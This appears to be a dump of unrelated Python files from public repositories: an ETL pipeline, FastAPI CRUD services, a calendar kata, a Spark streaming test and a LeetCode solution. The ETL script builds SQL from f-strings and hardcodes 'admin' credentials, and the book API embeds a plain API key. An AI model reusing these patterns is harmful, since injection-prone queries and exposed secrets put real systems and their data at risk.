main(sys.argv)\n","repo_name":"dmgongora/teleoperation","sub_path":"src/cvnode_simple.py","file_name":"cvnode_simple.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10123538244","text":"import psycopg2\nimport pandas as pd\nimport numpy as np\n\n# database and dwh configuration\nhostname = 'localhost'\ndatabase = 'beni_and_sons'\ndwh = 'data_warehous'\nusername = 'admin'\npwd = 'admin'\nport_id = 5432\n\n\n# extract data from beni_and_sons database into a dataframe objects\ndef extract():\n conn = None\n cur = None\n try:\n conn = psycopg2.connect(\n host=hostname,\n dbname=database,\n user=username,\n password=pwd,\n port=port_id\n )\n cur = conn.cursor()\n cur.execute(\"SELECT version();\")\n record = cur.fetchone()\n print(\"You are connected to - \", database, record, \"\\n\")\n fact_df = create_df(cur,\n \"select recruiter.id as recruiter_id, applicant.id as applicant_id, \"\n \"recruiter.departmant_id \" \n \", applicant.application_date, recruitment.recruitment_date, bonus.bonus_amount FROM \"\n \"applicant FULL JOIN recruiter ON \" \n \"applicant.recruiter_id = recruiter.id FULL JOIN recruitment ON applicant.id = \"\n \"recruitment.applicant_id LEFT JOIN \" \n \"bonus ON bonus.month = CAST((SPLIT_PART(recruitment.recruitment_date::TEXT, '-', \"\n \"2))AS INTEGER) \")\n fact_df['bonus_amount'] = fact_df['bonus_amount'].replace(np.nan, 0)\n fact_df['recruitment_date'] = fact_df['recruitment_date'].astype(str)\n fact_df['application_date'] = fact_df['application_date'].astype(str)\n applicant_df = create_df(cur, \"select id, city, birth_date, family_status FROM applicant\")\n departmant_df = create_df(cur, \"SELECT id, name FROM departmant\")\n recruiter_df = create_df(cur, \"SELECT id, city, birth_date, family_status, base_salary FROM recruiter\")\n load(fact_df, applicant_df, departmant_df, recruiter_df)\n\n except Exception as error:\n print(error)\n finally:\n if cur is not None:\n cur.close()\n if conn is not None:\n conn.close()\n\n\ndef load(fact_df, applicant_df, departmant_df, recruiter_df):\n conn = None\n cur = None\n try:\n conn = psycopg2.connect(\n host=hostname,\n dbname=dwh,\n user=username,\n password=pwd,\n port=port_id\n )\n cur = conn.cursor()\n cur.execute(\"SELECT version();\")\n record = cur.fetchone()\n print(\"You are connected to - \", dwh, record, \"\\n\")\n\n for row, data in applicant_df.iterrows():\n [id, city, birth_date, family_status] = data.get([\"id\", \"city\", \"birth_date\", \"family_status\"])\n cur.execute(\n f\"INSERT INTO dim_applicant (id, city, birth_date, family_status) VALUES ({id}, '{city}',\"\n f\"'{birth_date}','{family_status}') ON CONFLICT ON CONSTRAINT dim_applicant_pkey DO UPDATE SET\"\n f\"city='{city}', birth_date ='{birth_date}', family_status = '{family_status}' \")\n print(cur.statusmessage)\n print(cur.query)\n conn.commit()\n\n for row, data in recruiter_df.iterrows():\n [id, city, birth_date, family_status, base_salary] = data.get(\n [\"id\", \"city\", \"birth_date\", \"family_status\", \"base_salary\"])\n cur.execute(\n f\"INSERT INTO dim_recruiter (id, city, birth_date, family_status, base_salary) VALUES\"\n f\"({id}, '{city}', '{birth_date}', '{family_status}', {base_salary})\"\n f\"ON CONFLICT ON CONSTRAINT dim_recruiter_pkey DO UPDATE SET city='{city}',\"\n f\"birth_date ='{birth_date}', family_status = '{family_status}' , base_salary = {base_salary}\")\n print(cur.statusmessage)\n print(cur.query)\n conn.commit()\n\n for row, data in departmant_df.iterrows():\n [id, name] = data.get([\"id\", \"name\"])\n cur.execute(\n f\"INSERT INTO dim_departmant (id, name) VALUES ({id}, '{name}') ON CONFLICT ON CONSTRAINT \"\n f\"dim_departmant_pkey DO NOTHING\")\n print(cur.statusmessage)\n print(cur.query)\n conn.commit()\n\n for row, data in fact_df.iterrows():\n print(data)\n cur.execute(\n f\"INSERT INTO recruitment_process_fact (recruiter_id, applicant_id, department_id, application_date, \"\n f\"status, recruitment_date, bonus) VALUES ({data[0]}, {data[1]}, {data[2]}, '{data[3]}',\"\n f\"{False if data[4] == 'None' else True}, '{data[4]}',{data[5]}) ON CONFLICT ON CONSTRAINT \"\n f\"recruitment_process_fact_pkey DO UPDATE SET recruiter_id = {data[0]}, department_id={data[2]}, \"\n f\"application_date='{data[3]}', status={False if data[4] == 'None' else True}, recruitment_date='\"\n f\"{data[4]}', bonus={data[5]}\")\n print(cur.statusmessage)\n print(cur.query)\n conn.commit()\n\n except Exception as error:\n print(error)\n finally:\n if cur is not None:\n cur.close()\n if conn is not None:\n conn.close()\n\n\ndef create_df(cur, query):\n cur.execute(query)\n data = cur.fetchall()\n cols = []\n for elt in cur.description:\n cols.append(elt[0])\n return pd.DataFrame(data=data, columns=cols)\n\n\nextract()\n","repo_name":"flAdar/Beni_and_sons_test","sub_path":"ETL_Pipeline.py","file_name":"ETL_Pipeline.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16749602907","text":"from sqlalchemy.orm import Session\nfrom .. import models, schemas,database\nfrom fastapi import HTTPException,status\nfrom . import address\nfrom .. utils import list_address_utils,student_List_Utils\n# from ..hashing import Hash\n\n\ndatabases = database.database\n\ndef get_all_students(db: Session,limit:int = 100,skip :int = 0):\n students = db.query(models.Student).offset(skip).limit(limit).all()\n student_list = []\n for student in students:\n address_list=list_address_utils(student.id,db)\n student_list.append(student_List_Utils(student,address_list))\n return student_list\n\ndef create(request: schemas.ShowStudent,db:Session):\n new_student = models.Student(\n student_name = request.student_name,\n student_class = request.student_class,\n student_session = request.student_session\n )\n db.add(new_student)\n db.commit() \n db.refresh(new_student)\n if new_student:\n if address.create(new_student.id, request.addresses,db):\n return True\n return False\n\ndef get_student_by_id(id:int,db:Session):\n student = db.query(models.Student).filter(models.Student.id == id).first()\n address_list=list_address_utils(student.id,db)\n student_detail=student_List_Utils(student,address_list)\n if not student_detail:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Student with the id {id} is not available\")\n return student_detail\n\ndef destroy(id:int,db: Session):\n student = db.query(models.Student).filter(models.Student.id == id)\n addresses = db.query(models.Address).filter(models.Address.s_id == id)\n for add in addresses:\n address.destroy(add.id,db)\n student.delete(synchronize_session=False)\n db.commit()\n return True\n\n\ndef update(id:int,request:schemas.StudentBase, db:Session):\n student = db.query(models.Student).filter(models.Student.id == id)\n if not student:\n raise HTTPException(status_code=404, detail=f\"Student with {id} not found\")\n update_data = {\n \"student_name\" : request.student_name,\n\t\t\"student_class\" : request.student_class,\n\t\t\"student_session\" : request.student_session\n }\n student.update(update_data)\n db.commit()\n if student:\n if address.update(id, request.addresses,db):\n return True\n return False \n\n\n \n\n\n","repo_name":"CpAswanthMG/MG-Student-Project","sub_path":"api/repository/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38102763722","text":"# module is function in python we can import ur module in exitsting file for use\r\n# can create another file and import it here by using module function\r\nfrom Calc import *\r\na=1\r\nb=2\r\nx=sum(a,b)\r\ny=sub(a,b)\r\nz=mul(a,b)\r\nc=div(a,b)\r\nprint(x,y,z,c)","repo_name":"sagar-demo/Python","sub_path":"Module1.py","file_name":"Module1.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3432166103","text":"from datetime import date\nimport calendar\n\n# needed to psss test - test_show_Monthly_Calender\ncalendar.setfirstweekday(6)\n\nimport numpy as np\nfrom copy import deepcopy\n\n\nclass Calender(object):\n\n def __init__(self):\n self.year = None\n self.month = None\n self.day = None\n self.today_WeekDay = None\n self.events = []\n self.reccuringEvents = []\n self.setToday()\n\n def setToday(self):\n the_date = date.today()\n today = str(the_date) # ex. '1-1-2015' => numbers=[1,1,2015]\n numbers = [int(n) for n in today.split('-')]\n self.setCurrentYearMonthDay(numbers)\n self.today_WeekDay = calendar.day_name[the_date.weekday()]\n\n def setCurrentYearMonthDay(self, numbers):\n self.year = numbers[0]\n self.month = numbers[1]\n self.day = numbers[2]\n\n def getToday(self):\n the_date_for_today = {\n \"month\": self.month,\n \"day\": self.day,\n \"year\": self.year\n }\n return the_date_for_today\n\n def daysThisMonth(self, month, year):\n if month == 12:\n return (date(year+1, 1, 1) - date(year, month, 1)).days\n else:\n return (date(year, month+1, 1) - date(year, month, 1)).days\n\n def convertDayToWeekDayName(self, day, month, year):\n the_date = date(year, month, day)\n return calendar.day_name[the_date.weekday()]\n\n def startAndEndOfMonth(self, month, year):\n start = self.convertDayToWeekDayName(1, month, year)\n lastDay = self.daysThisMonth(month, year)\n end = self.convertDayToWeekDayName(lastDay, month, year)\n return start, end\n\n def howManyRowsForMonth(self, month, year):\n start_date_name, end_date_name = self.startAndEndOfMonth(month, year)\n days = self.daysThisMonth(month, year)\n amount = days / 7\n\n if end_date_name == \"Sunday\":\n return amount + 2\n return amount + 1\n\n def showMonth(self, year, month):\n calendar.setfirstweekday(6)\n return calendar.monthcalendar(year, month)\n\n def dayNameToNumber(self, dayName):\n days = {\"Sunday\": 1, \"Monday\": 2, \"Tuesday\": 3, \"Wednesday\": 4,\n \"Thursday\": 5, \"Friday\": 6, \"Saturday\": 7\n }\n\n return days[dayName]\n\n def getNumOfWeeks_startWeekday_endWeekday_TotaldaysOf(self, month, year):\n number_of_weeks = self.howManyRowsForMonth(month, year)\n start, end = self.startAndEndOfMonth(month, year)\n total_Days = self.daysThisMonth(month, year)\n return number_of_weeks, start, end, total_Days\n\n def setUpWeek(self):\n week_Json = {\"Sunday\": {}, \"Monday\": {},\n \"Tuesday\": {},\n \"Wednesday\": {}, \"Thursday\": {}, \"Friday\": {},\n \"Saturday\": {}\n }\n week_list = ['Sunday', \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\n \"Friday\", \"Saturday\"\n ]\n weekNumber = 1\n count = 1\n return week_Json, week_list, weekNumber, count\n\n def buildMonthlyCalender(self, month, year):\n if month > 12 or month < 1:\n return None\n\n number_of_weeks, start, end, total_Days = \\\n self.getNumOfWeeks_startWeekday_endWeekday_TotaldaysOf(month, year)\n week_Json, week_list, weekNumber, count = self.setUpWeek()\n\n neededInfo = [number_of_weeks, weekNumber,\n week_list, start, count, total_Days]\n return self.buildingTheDictionayOfMonthlyCal(neededInfo)\n\n def buildingTheDictionayOfMonthlyCal(self, neededInfo):\n number_of_weeks = neededInfo[0]\n weekNumber = neededInfo[1]\n week_list = neededInfo[2]\n start = neededInfo[3]\n count = neededInfo[4]\n total_Days = neededInfo[5]\n\n monthlyCalender = {}\n for x in range(number_of_weeks):\n monthlyCalender[weekNumber] = {}\n for day in week_list:\n if weekNumber == 1:\n if self.dayNameToNumber(day) >= \\\n self.dayNameToNumber(start):\n monthlyCalender[weekNumber][day] = {'date': count}\n count = count + 1\n else:\n monthlyCalender[weekNumber][day] = {'date': 0}\n else:\n if count > total_Days:\n monthlyCalender[weekNumber][day] = {'date': 0}\n else:\n monthlyCalender[weekNumber][day] = {'date': count}\n count += 1\n weekNumber += 1\n return monthlyCalender\n\n def addEventToCalender(self, month, day, year, event):\n stringDate = \"{}-{}-{}\".format(month, day, year)\n event['date'] = stringDate\n self.events.append(event)\n\n def eventsForDay(self, month, day, year):\n stringDate = \"{}-{}-{}\".format(month, day, year)\n\n allEvents = {'events': {}}\n COUNT = 1\n for item in self.events:\n if item['date'] == stringDate:\n eventNumber = COUNT\n allEvents['events'][eventNumber] = item\n COUNT = COUNT + 1\n\n if allEvents == {'events': {}}:\n return None\n else:\n return allEvents\n\n def get_week_of_month(self, year, month, day):\n x = np.array(calendar.monthcalendar(year, month))\n week_of_month = np.where(x == day)[0][0] + 1\n return week_of_month\n\n def addReccuringEventToCalender(self, dayOfWeek, howOften, eventToAdd):\n eventToAdd['dayOfweek'] = dayOfWeek\n eventToAdd['occurrence'] = howOften\n self.reccuringEvents.append(eventToAdd)\n\n def reccuringEventsForMonth(self, month, year, monthlyCall=None):\n self.month = month\n self.year = year\n days = calendar.monthrange(year, month)\n if monthlyCall is None:\n hold = []\n\n for event in self.reccuringEvents:\n dayOfweek = event['dayOfweek']\n howManyTimesDayOfWeekIsInMonth, theDaysThatMatch = \\\n self.numberOfTimesDayisInMOnth(days, dayOfweek)\n\n for weekNumber in range(howManyTimesDayOfWeekIsInMonth):\n exactdate = theDaysThatMatch[weekNumber]\n eventCopy = deepcopy(event)\n del eventCopy['occurrence']\n del eventCopy['dayOfweek']\n\n eventCopy['date'] = '{}-{}-{}'.format(month, exactdate, year)\n if monthlyCall:\n monthlyCall[weekNumber+1][dayOfweek][1] = eventCopy\n else:\n hold.append(eventCopy)\n if monthlyCall is None:\n return hold\n else:\n return monthlyCall\n\n def showMonthCalender(self, month, year):\n monthlyCal = self.buildMonthlyCalender(month, year)\n for event in self.events:\n date = event['date']\n numbers = [int(n) for n in date.split('-')]\n event_date = {\"day\": numbers[1], \"month\": numbers[0],\n \"year\": numbers[2]\n }\n NameOfTheWeekDay = \\\n self.convertDayToWeekDayName(event_date['day'],\n event_date['month'],\n event_date['year'])\n weekNumberInMonth = self.get_week_of_month(event_date['year'],\n event_date['month'],\n event_date['day']\n )\n infoNeeded = [month, year, event_date, monthlyCal,\n NameOfTheWeekDay, weekNumberInMonth, event]\n monthlyCal = self.grabNonRecurringEvent(infoNeeded)\n\n if len(self.reccuringEvents) > 0:\n monthlyCal = self.addRecurringEvents(month, year, monthlyCal)\n\n return monthlyCal\n\n def grabNonRecurringEvent(self, infoNeeded):\n month = infoNeeded[0]\n year = infoNeeded[1]\n event_date = infoNeeded[2]\n monthlyCal = infoNeeded[3]\n NameOfTheWeekDay = infoNeeded[4]\n weekNumberInMonth = infoNeeded[5]\n event = infoNeeded[6]\n if event_date['month'] == month and event_date['year'] == year:\n # we Know we are on the same month and same year\n\n # check if event 1 exist\n if 1 in monthlyCal[weekNumberInMonth][NameOfTheWeekDay]:\n # if it does find how many events that have been created\n count = 0\n for idx in \\\n monthlyCal[weekNumberInMonth][NameOfTheWeekDay]:\n count += 1\n monthlyCal[weekNumberInMonth][NameOfTheWeekDay][count] = event\n else:\n # if it doent then we need to create it\n monthlyCal[weekNumberInMonth][NameOfTheWeekDay][1] = event\n return monthlyCal\n\n def numberOfTimesDayisInMOnth(self, days, dayOfweek):\n howManyTimesDayOfWeekIsInMonth = 0\n\n theDaysThatMatch = []\n for number in range(days[1]):\n dayNumber = (calendar.weekday(\n self.year, self.month, number+1)+1) % 7\n week = [\n 'Sunday', \"Monday\", \"Tuesday\", \"Wednesday\",\n \"Thursday\", \"Friday\", \"Saturday\"\n ]\n\n if week[dayNumber] == dayOfweek:\n theDaysThatMatch.append(number+1)\n howManyTimesDayOfWeekIsInMonth += 1\n\n return howManyTimesDayOfWeekIsInMonth, theDaysThatMatch\n\n def addRecurringEvents(self, month, year, monthlyCal):\n return self.reccuringEventsForMonth(month, year, monthlyCal)\n","repo_name":"payneal/Programming-Katas","sub_path":"Python_TDD_Katas/calendar/calender.py","file_name":"calender.py","file_ext":"py","file_size_in_byte":9792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20107855305","text":"import sys, os, re\nimport json\n\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils, OffsetRange, TopicAndPartition\n\n# 10초마다 데이터 처리 \nPERIOD=10\nBROKERS='localhost:9092'\nTOPIC='flight_delay_classification_request'\n\nconf = SparkConf().set(\"spark.default.parallelism\", 1)\n# sc = SparkContext(appName = \"Agile Data Science: PySpark Streaming 'Hello, World!'\", conf=conf)\nssc = StreamingContext(sc, PERIOD)\n\nstream = KafkaUtils.createDirectStream(\n ssc,\n [TOPIC],\n {\n \"metadata.broker.list\": BROKERS,\n \"group.id\": \"0\",\n }\n)\n\n# JSON 메시지 파싱하고 결과 객체를 출력\nobject_stream = stream.map(lambda x: json.loads(x[1]))\nobject_stream.pprint()\n\nssc.start()\n","repo_name":"wikibook/agile-data-science","sub_path":"ch08/streaming_test.py","file_name":"streaming_test.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30638347280","text":"\"\"\"\nSolution for 718. Maximum Length of Repeated Subarray\nhttps://leetcode.com/problems/maximum-length-of-repeated-subarray/\n\"\"\"\n\nclass Solution:\n \"\"\"\n Runtime: 2648 ms, faster than 76.33% of Python3 online submissions for Maximum Length of\n Repeated Subarray.\n Memory Usage: 38.3 MB, less than 66.49% of Python3 online submissions for Maximum Length of\n Repeated Subarray.\n \"\"\"\n def findLength(self, A, B):\n \"\"\"\n Given two integer arrays A and B, return the maximum length of an subarray that appears in\n both arrays.\n\n Example 1:\n\n Input:\n A: [1,2,3,2,1]\n B: [3,2,1,4,7]\n Output: 3\n Explanation:\n The repeated subarray with maximum length is [3, 2, 1].\n\n Args:\n A: list<int> to find common subarray from\n B: list<int> to find common subarray from\n\n Returns:\n int: the maximum length of the common array\n \"\"\"\n memo = [[0] * (len(B) + 1) for _ in range(len(A) + 1)]\n for i in range(len(A) - 1, -1, -1):\n for j in range(len(B) - 1, -1, -1):\n if A[i] == B[j]:\n memo[i][j] = memo[i + 1][j + 1] + 1\n\n return max(max(row) for row in memo)\n","repo_name":"KKosukeee/CodingQuestions","sub_path":"LeetCode/718_maximum_length_of_repeated_subarray.py","file_name":"718_maximum_length_of_repeated_subarray.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11288889453","text":"from typing import Optional\r\nfrom fastapi import FastAPI, Request, HTTPException\r\nfrom sqlite3 import Error, connect, version\r\n\r\n\r\ndef create_connection(db_file):\r\n \"\"\" create a database connection to the SQLite database\r\n specified by db_file\r\n :param db_file: database file\r\n :return: Connection object or None\r\n \"\"\"\r\n conn = None\r\n try:\r\n conn = connect(db_file, check_same_thread=False)\r\n except Error as e:\r\n print(e)\r\n\r\n return conn\r\n\r\n\r\ndef create_table_books():\r\n sql_script_make_books = \"\"\"\r\n CREATE TABLE IF NOT EXISTS books (\r\n title text NOT NULL,\r\n isbn13 text PRIMARY KEY,\r\n details text,\r\n publisher text,\r\n year integer,\r\n price real\r\n );\r\n \"\"\"\r\n try:\r\n c = conn.cursor()\r\n c.execute(sql_script_make_books)\r\n c.close()\r\n except Error as e:\r\n print(e)\r\n\r\n\r\ndef create_book(book):\r\n \"\"\"\r\n Create a new book\r\n :param conn:\r\n :param book:\r\n \"\"\"\r\n script = ''' INSERT INTO books(title, isbn13, details, publisher, year, price) VALUES(?,?,?,?,?,?)'''\r\n c = conn.cursor()\r\n c.execute(script, book)\r\n conn.commit()\r\n c.close()\r\n\r\n\r\ndef update_book(update_list, isbn13):\r\n \"\"\"\r\n update book\r\n :param conn:\r\n :param book:\r\n :param isbn13:\r\n \"\"\"\r\n c = conn.cursor()\r\n for key, value in update_list.items():\r\n c.execute('UPDATE books SET %s = ? WHERE isbn13 = ?' %\r\n key, [value] + [isbn13])\r\n conn.commit()\r\n c.close()\r\n\r\n\r\ndef delete_book(isbn13):\r\n \"\"\"\r\n Delete a book by isbn13\r\n :param conn: Connection to the SQLite database\r\n :param isbn13: isbn13\r\n :return:\r\n \"\"\"\r\n c = conn.cursor()\r\n c.execute('DELETE FROM books WHERE isbn13=?', (isbn13,))\r\n conn.commit()\r\n c.close()\r\n\r\n\r\ndef select_books():\r\n \"\"\"\r\n Query all rows in the tasks table\r\n :param conn: the Connection object\r\n :return:\r\n \"\"\"\r\n c = conn.cursor()\r\n c.execute(\"SELECT * FROM books\")\r\n\r\n rows = c.fetchall()\r\n c.close()\r\n\r\n return rows\r\n\r\n\r\ndef select_book_by_isbn13(isbn13):\r\n \"\"\"\r\n Query a book by isbn13\r\n :param conn: the Connection object\r\n :param isbn13:\r\n :return:\r\n \"\"\"\r\n c = conn.cursor()\r\n c.execute(\"SELECT * FROM books WHERE isbn13=?\", (isbn13,))\r\n\r\n row = c.fetchone()\r\n\r\n return row\r\n\r\n\r\napp = FastAPI()\r\nconn = create_connection('books.db')\r\napi_key = 'hK0iP5dL7bW3fP3y'\r\n\r\nif __name__ == '__main__':\r\n # test\r\n c = conn.cursor()\r\n c.execute(\"DROP TABLE IF EXISTS books;\")\r\n create_table_books()\r\n c.execute(\"DELETE FROM books;\")\r\n\r\n test_isbn13 = 12321321\r\n test_book = (\"hey\", test_isbn13, \"details1\", \"publisher2\", 2021, 15.00)\r\n\r\n create_book(test_book)\r\n print(select_book_by_isbn13(test_isbn13))\r\n\r\n update_book(('newbook', \"newdetail\", \"newpub\", 1999, 9999.99), test_isbn13)\r\n print(select_book_by_isbn13(test_isbn13))\r\n\r\n delete_book(test_isbn13)\r\n print(select_book_by_isbn13(test_isbn13))\r\n\r\n\r\nasync def api_key_check(request):\r\n try:\r\n if request.query_params[\"apikey\"] != api_key:\r\n raise HTTPException(401)\r\n except:\r\n raise HTTPException(401)\r\n\r\n\r\n@app.get(\"/books\")\r\nasync def select_books_app(request: Request):\r\n await api_key_check(request)\r\n books = select_books()\r\n temp = {\"total\": len(books), \"books\": books}\r\n print(temp)\r\n\r\n return temp\r\n\r\n\r\n@app.get(\"/books/{isbn13}\")\r\nasync def select_book_app(request: Request, isbn13: str):\r\n await api_key_check(request)\r\n\r\n book = select_book_by_isbn13(isbn13)\r\n print(book)\r\n return book\r\n\r\n\r\n@app.post(\"/books\")\r\nasync def create_book_app(request: Request):\r\n await api_key_check(request)\r\n data = await request.json()\r\n try:\r\n create_book(\r\n (data[\"title\"],\r\n data[\"isbn13\"],\r\n data[\"details\"],\r\n data[\"publisher\"],\r\n int(data[\"year\"]),\r\n float(data[\"price\"]),)\r\n )\r\n except:\r\n return {\r\n \"status\": 1,\r\n \"message\": \"Book already exists, use PUT to update\",\r\n }\r\n\r\n return {\r\n \"status\": 0,\r\n \"message\": \"Book added\",\r\n }\r\n\r\n\r\n@app.put(\"/books/{isbn13}\")\r\nasync def update_book_app(request: Request, isbn13: str):\r\n await api_key_check(request)\r\n\r\n data = await request.json()\r\n try:\r\n update_book(data, isbn13)\r\n except:\r\n return {\r\n \"status\": 1,\r\n \"message\": \"Error occured\",\r\n }\r\n\r\n return {\r\n \"status\": 0,\r\n \"message\": \"Book updated\",\r\n }\r\n\r\n\r\n@app.delete(\"/books/{isbn13}\")\r\nasync def delete_book_app(request: Request, isbn13: str):\r\n await api_key_check(request)\r\n\r\n try:\r\n delete_book(isbn13)\r\n except:\r\n return {\r\n \"status\": 1,\r\n \"message\": \"Error occured\",\r\n }\r\n\r\n return {\r\n \"status\": 0,\r\n \"message\": \"Book deleted\",\r\n }\r\n","repo_name":"whqkdhfh13/cmput401_api1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17755297064","text":"import python_ie221 as p1\nimport pickle\n \n#Read data\ndt = p1.ReadData('data\\Combined_News_DJIA.csv')\n\n#Preprocessing\npre = p1.PreProcessing()\n\npre.fully_preprocess(dt.data)\n\n#Processing\nprocess = p1.Processing(pre.x_train, pre.x_test, pre.y_train, pre.y_test)\nprocess.RandomForest()\nprocess.KNNClassifier()\nprocess.Naive()\nprocess.SVMLinearSVC()\n\n#Result\nresult = p1.Result(process)\nresult.full_score()\n\n##visualize\nvisual = p1.Visualization()\nvisual.result_visualization(pre.pre_data, result.List_score)\n\n#Save class contains models by pickle\nfilename = \"Model\"\noutfile = open(filename,'wb')\npickle.dump(process,outfile)\noutfile.close()\n\n#Load class contains models by pickle(Optional)\n#infile = open(filename,'rb')\n#class_model = pickle.load(infile)\n#infile.close()","repo_name":"PyProjectIE221/StockMarket-Prediction","sub_path":"main_code.py","file_name":"main_code.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2971632632","text":"import os\r\nimport socket\r\nimport sys\r\nfrom threading import Thread\r\n\r\nHOST = \"127.0.0.1\"\r\n#Enes Delibalta 160401058\r\nPORT=int(input(\"PORT giriniz\"))\r\n\r\n\r\ndef create_socket():\r\n try:\r\n global HOST\r\n global PORT\r\n global sd\r\n sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n except socket.error as e:\r\n print(\"Socket olusturma hatası\", str(e))\r\n\r\n\r\ndef bind_socket():\r\n try:\r\n global HOST\r\n global PORT\r\n global sd\r\n\r\n sd.bind((HOST, PORT))\r\n sd.listen(5)\r\n print(\"Port\", PORT, \"dinleniyor\")\r\n except socket.error as e:\r\n print(\"Soket olusturma hatası \", str(e), \"\\nTekrar deneniyor\")\r\n bind_socket()\r\n\r\n\r\ndef socket_accept():\r\n while True:\r\n conn, address = sd.accept()\r\n print(\"Baglantı saglandı Ip: \", address[0], \":\", address[1])\r\n try:\r\n Thread(target=send_data, args=(conn, address)).start()\r\n except:\r\n print(\"Hata\")\r\n\r\n\r\ndef handleLs(conn):\r\n datas = os.listdir()\r\n datas = [i+str(\"\\n\") for i in datas]\r\n \r\n size = str(len(datas))\r\n conn.send(str.encode(size))\r\n \r\n for d in datas:\r\n d = str(d)\r\n \r\n conn.send(str.encode(d))\r\n l = conn.recv(10)\r\n \r\n\r\n\r\ndef handleGet(conn, filename):\r\n how_many = conn.recv(20)\r\n conn.send(str.encode(\"ok\"))\r\n if how_many.decode(\"utf-8\") == \"$all_$\":\r\n path = os.getcwd()\r\n all_files = [f for f in os.listdir(path)\r\n if os.path.isfile(os.path.join(path, f))]\r\n ssize = len(all_files)\r\n conn.send(str.encode(str(ssize)))\r\n n = conn.recv(10)\r\n for a_file in all_files:\r\n conn.send(str.encode(str(a_file)))\r\n n = conn.recv(10)\r\n with open(str(a_file), \"rb\") as f:\r\n l = f.read(1024)\r\n while (l):\r\n conn.send(l)\r\n n = conn.recv(10)\r\n \r\n l = f.read(1024)\r\n conn.send(str.encode(\"$end$\"))\r\n else:\r\n cur_path = os.getcwd()\r\n if os.path.exists(filename):\r\n conn.send(str.encode(\"$present$\"))\r\n istry = conn.recv(20)\r\n if istry.decode(\"utf-8\") == \"ok\":\r\n with open(filename, \"rb\") as f:\r\n f = open(filename, 'rb')\r\n l = f.read(1024)\r\n while (l):\r\n conn.send(l)\r\n n = conn.recv(10)\r\n print('Sent ', repr(n))\r\n l = f.read(1024)\r\n \r\n conn.send(str.encode(\"$end$\"))\r\n f.close()\r\n else:\r\n conn.send(str.encode(\"böyle bir dosya yok\"))\r\n\r\n\r\ndef handlePut(conn, filename):\r\n how_many = conn.recv(20)\r\n conn.send(str.encode(\"ok\"))\r\n if how_many.decode(\"utf-8\") == \"$all$\":\r\n ssize = conn.recv(20)\r\n conn.send(str.encode(\"ok\"))\r\n for i in range(int(ssize)):\r\n fff_name = conn.recv(100)\r\n fff_name = fff_name.decode(\"utf-8\")\r\n conn.send(str.encode(\"ok\"))\r\n with open(fff_name, 'wb') as f:\r\n data = conn.recv(1024)\r\n while True:\r\n f.write(data)\r\n conn.send(str.encode(\"ok\"))\r\n data = conn.recv(1024)\r\n if data.decode(\"utf-8\") == \"$end$\":\r\n print(data.decode(\"utf-8\"))\r\n break\r\n else:\r\n with open(filename, 'wb') as f:\r\n data = conn.recv(1024)\r\n while True:\r\n f.write(data)\r\n conn.send(str.encode(\"ok\"))\r\n data = conn.recv(1024)\r\n if data.decode(\"utf-8\") == \"$end$\":\r\n print(data.decode(\"utf-8\"))\r\n break\r\n\r\n\r\ndef send_data(conn, a):\r\n send_dir = os.getcwd()\r\n conn.send(str.encode(str(send_dir)))\r\n while True:\r\n data = conn.recv(1024)\r\n data = data.decode(\"utf-8\")\r\n r_cmd = data.split(\" \")\r\n cmd = r_cmd[0]\r\n try:\r\n filename = r_cmd[1]\r\n except:\r\n pass\r\n if(cmd == \"ls\"):\r\n handleLs(conn)\r\n elif(cmd == \"get\"):\r\n handleGet(conn, filename)\r\n elif(cmd == \"put\"):\r\n handlePut(conn, filename)\r\n \r\n else:\r\n d = \"böyle bir komut yok.get, put veya ls kullan\"\r\n\r\n\r\ndef main():\r\n create_socket()\r\n bind_socket()\r\n socket_accept()\r\n\r\n\r\nmain()\r\n","repo_name":"nyucel/blm304","sub_path":"vize/160401058/sunucu.py","file_name":"sunucu.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"37495843236","text":"#Baekjoon 1011\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nfor _ in range(n):\n x, y = map(int, input().split())\n \n count = 0\n dis = 1\n \n while x < y:\n count += 1\n x += dis\n if count % 2 == 0:\n dis += 1\n print(count)","repo_name":"meoldae/Algorithm","sub_path":"Boj/Python/Fly_Me_to_the_Alpha_Centauri.py","file_name":"Fly_Me_to_the_Alpha_Centauri.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9427040921","text":"from inventory_report.inventory import Inventory\nfrom datetime import date, datetime\nfrom operator import attrgetter\n\n\nclass SimpleReport:\n def add_inventory(self, inventory: Inventory) -> None:\n self.inventory = inventory.data\n\n def oldest_manufactured(self) -> str:\n \"\"\"\n https://siddharth1.medium.com/1-understanding-operator-itemgetter-attribute-or-operator-itemgetter-attribute-27e61754d1fa\n https://www.geeksforgeeks.org/ways-sort-list-dictionaries-values-python-using-itemgetter/\n \"\"\"\n oldest_item = min(self.inventory, 